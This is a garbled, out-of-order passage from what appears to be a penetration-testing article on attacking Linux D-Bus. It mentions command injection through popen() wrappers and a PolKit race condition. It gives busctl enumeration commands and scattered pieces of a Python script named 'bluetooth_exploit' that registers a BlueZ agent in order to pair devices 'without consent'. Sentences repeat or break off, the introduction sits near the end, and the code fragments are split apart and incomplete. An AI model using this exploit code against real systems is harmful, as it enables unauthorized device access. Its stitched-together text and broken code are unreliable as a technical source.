Because D-Bus serializes the string faithfully, the shell will execute the injection. Modern services should use execv or API calls, but legacy dbus-1.0 wrappers often used popen() . One of the most famous dbus-1.0 -adjacent exploits involved PolKit (pkexec). While not a D-Bus bug, the attack surface was D-Bus. An unprivileged user could send a carefully crafted D-Bus message to org.freedesktop.PolicyKit1 , causing a race condition where the privilege elevation was granted to a different process than the one requesting it.
import asyncio from dbus_next.aio import MessageBus from dbus_next import Message, MessageType, Variant async def bluetooth_exploit(): # Connect to the system bus bus = await MessageBus(bus_type='system').connect()
To see who can talk to a service, inspect its policy: dbus-1.0 exploit
busctl --system tree org.bluez We find /org/bluez/hci0/dev_XX_XX_XX_XX_XX_XX – a connected device.
Yet, for all its ubiquity, D-Bus is a blind spot for many penetration testers and red teams. We scan for open SMB ports, we hunt for SUID binaries, but we rarely ask: Can we talk to the system bus? Because D-Bus serializes the string faithfully, the shell
busctl introspect org.freedesktop.NetworkManager /org/freedesktop/NetworkManager More powerful is monitoring the bus in real-time:
if reply.message_type == MessageType.ERROR: print(f"Standard property set failed: {reply.body[0]}") # Fallback to a known legacy method legacy_msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.bluez.AgentManager1', member='RegisterAgent', signature='os', body=['/org/bluez/hci0/my_agent', 'NoInputNoOutput'] ) await bus.call(legacy_msg) print("Registered legacy agent, now able to pair without consent.") asyncio.run(bluetooth_exploit()) While not a D-Bus bug, the attack surface was D-Bus
# Send without any authentication reply = await bus.call(msg)
Introduction In the sprawling ecosystem of the Linux desktop and embedded systems, D-Bus is the circulatory system. It’s the inter-process communication (IPC) broker that allows your file manager to talk to your password manager, your media keys to control the player, and systemd to launch services on demand. Since its introduction with the dbus-1.0 protocol, it has become a universal constant on everything from GNOME to Automotive Grade Linux.
# Introspect the Bluetooth adapter introspection = await bus.introspect('org.bluez', '/org/bluez/hci0')